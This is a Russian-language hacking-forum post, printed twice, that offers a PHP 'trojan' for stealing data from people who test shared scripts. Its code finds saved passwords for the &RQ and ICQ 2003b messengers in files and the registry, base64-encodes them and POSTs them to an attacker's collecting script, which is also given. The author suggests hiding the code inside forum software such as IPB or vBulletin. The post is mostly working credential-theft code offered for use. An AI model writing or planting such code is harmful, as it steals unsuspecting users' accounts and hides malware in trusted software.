GreenBear
11.03.2007, 17:33
Даем скрипты на тест или как украсть данные.
Пришла в голову идея: а что если внедрить в наш пхп-код "трояна"?
В этой статье я покажу все на примере кражи пароли из &RQ и icq 2003b, других клиентов у меня под рукой нет =)
&RQ
Просканируем основне папки, где он может лежать на наличие папки &RQ
<?php
$dir = scan_dir();
function scan_dir(){
//Папка с крысой
$rq = '&rq';
//Папки, где она может быть
$da = array(
"C:\\",
"D:\\",
"E:\\",
"C:\\Program Files\\",
"D:\\Program Files\\",
"E:\\Program Files\\"
);
foreach($da as $d){
if(file_exists($d.$rq) AND is_dir($d.$rq)) return $d.$rq;
}
return false;
}
if($dir){
$temp = opendir($dir);
while (false !== ($file = readdir($temp)))
{
if(is_dir($dir.'/'.$file) AND is_numeric($file))
{
if(file_exists($dir.'\\'.$file.'\\andrq.ini')){
$arr = file($dir.'\\'.$file.'\\andrq.ini');
foreach($arr as $a){
if(stristr($a, 'crypted-password')){
$pass .= base64_encode("Number: $file , Password: $a ")."\n";
break;
}
}
}
}
}
}
?>
Вы наверное скажете, ведь можно было просканировать весь жесткий диск на наличие этой папки... А я вам в ответ: попробуйте, потом напишите мне , сколько времени у вас ушло на 200гб диск :)
Ну что же, мы получили данные, в случае удачи. Теперь как их нам отослать? Самое простое что приходит в мозги - послать по мылу.
Но давайте вспомним, что у большинства тестеров стоит денвер с его заглушкой. Хм... Тогда отправим данные к нам на серрвер.
Для начала создадим принимающий скрипт
<?php
$str = $_POST['str'];
$log = 'passwords';
$f = fopen($log, 'a');
fwrite($f, "\n ========== \n" . $str . "\n ========== \n");
fclose($f);
?>
Теперь отсылаем ему данные:
<?php
$host = 'localhost';
$fp = fsockopen ($host, 80, $errno, $errstr, 10);
$r = "POST /pass.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen($pass)."
str=$pass";
fputs ($fp, $r);
fclose($fp);
?>
ICQ 2003b
Тут гораздо проще...
<?php
//Возьмем данные из реестра и запишем их в отдельный файл)
unset($pass);
@system("reg export HKEY_CURRENT_USER\Software\Mirabilis\ICQ\NewOwners tmp");
//Прочтем файл
$pass = urlencode(base64_encode(file_get_contents('tmp'))) ."\n\n";
//пошлем данные
$host = 'localhost';
$fp = fsockopen ($host, 80, $errno, $errstr, 10);
$r = "POST /pass.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen($pass)."
str=$pass";
fputs ($fp, $r);
fclose($fp);
//удалим файл
@unlink('tmp');
?>
Отлично! Все сделали :)
Как просмотреть? Просто раскодируйте строку из файла passwords,
например
<?php
echo urldecode(base64_decode("sdsdsd"));
?>
Для расшифровки паролей можно воспользоваться программой http://www.tolkuchka.dsip.net/index.php?showtopic=19516
Теперь скажете вы, кто же запустит такой скрипт? Да никто :)
Но а что если его проинклудить в том же IPB или VB? Врядли кто будет просматривать все файлы перед запуском... В общем - проявляйте фантазию =)
Пришла в голову идея: а что если внедрить в наш пхп-код "трояна"?
В этой статье я покажу все на примере кражи пароли из &RQ и icq 2003b, других клиентов у меня под рукой нет =)
&RQ
Просканируем основне папки, где он может лежать на наличие папки &RQ
<?php
$dir = scan_dir();
function scan_dir(){
//Папка с крысой
$rq = '&rq';
//Папки, где она может быть
$da = array(
"C:\\",
"D:\\",
"E:\\",
"C:\\Program Files\\",
"D:\\Program Files\\",
"E:\\Program Files\\"
);
foreach($da as $d){
if(file_exists($d.$rq) AND is_dir($d.$rq)) return $d.$rq;
}
return false;
}
if($dir){
$temp = opendir($dir);
while (false !== ($file = readdir($temp)))
{
if(is_dir($dir.'/'.$file) AND is_numeric($file))
{
if(file_exists($dir.'\\'.$file.'\\andrq.ini')){
$arr = file($dir.'\\'.$file.'\\andrq.ini');
foreach($arr as $a){
if(stristr($a, 'crypted-password')){
$pass .= base64_encode("Number: $file , Password: $a ")."\n";
break;
}
}
}
}
}
}
?>
Вы наверное скажете, ведь можно было просканировать весь жесткий диск на наличие этой папки... А я вам в ответ: попробуйте, потом напишите мне , сколько времени у вас ушло на 200гб диск :)
Ну что же, мы получили данные, в случае удачи. Теперь как их нам отослать? Самое простое что приходит в мозги - послать по мылу.
Но давайте вспомним, что у большинства тестеров стоит денвер с его заглушкой. Хм... Тогда отправим данные к нам на серрвер.
Для начала создадим принимающий скрипт
<?php
$str = $_POST['str'];
$log = 'passwords';
$f = fopen($log, 'a');
fwrite($f, "\n ========== \n" . $str . "\n ========== \n");
fclose($f);
?>
Теперь отсылаем ему данные:
<?php
$host = 'localhost';
$fp = fsockopen ($host, 80, $errno, $errstr, 10);
$r = "POST /pass.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen($pass)."
str=$pass";
fputs ($fp, $r);
fclose($fp);
?>
ICQ 2003b
Тут гораздо проще...
<?php
//Возьмем данные из реестра и запишем их в отдельный файл)
unset($pass);
@system("reg export HKEY_CURRENT_USER\Software\Mirabilis\ICQ\NewOwners tmp");
//Прочтем файл
$pass = urlencode(base64_encode(file_get_contents('tmp'))) ."\n\n";
//пошлем данные
$host = 'localhost';
$fp = fsockopen ($host, 80, $errno, $errstr, 10);
$r = "POST /pass.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen($pass)."
str=$pass";
fputs ($fp, $r);
fclose($fp);
//удалим файл
@unlink('tmp');
?>
Отлично! Все сделали :)
Как просмотреть? Просто раскодируйте строку из файла passwords,
например
<?php
echo urldecode(base64_decode("sdsdsd"));
?>
Для расшифровки паролей можно воспользоваться программой http://www.tolkuchka.dsip.net/index.php?showtopic=19516
Теперь скажете вы, кто же запустит такой скрипт? Да никто :)
Но а что если его проинклудить в том же IPB или VB? Врядли кто будет просматривать все файлы перед запуском... В общем - проявляйте фантазию =)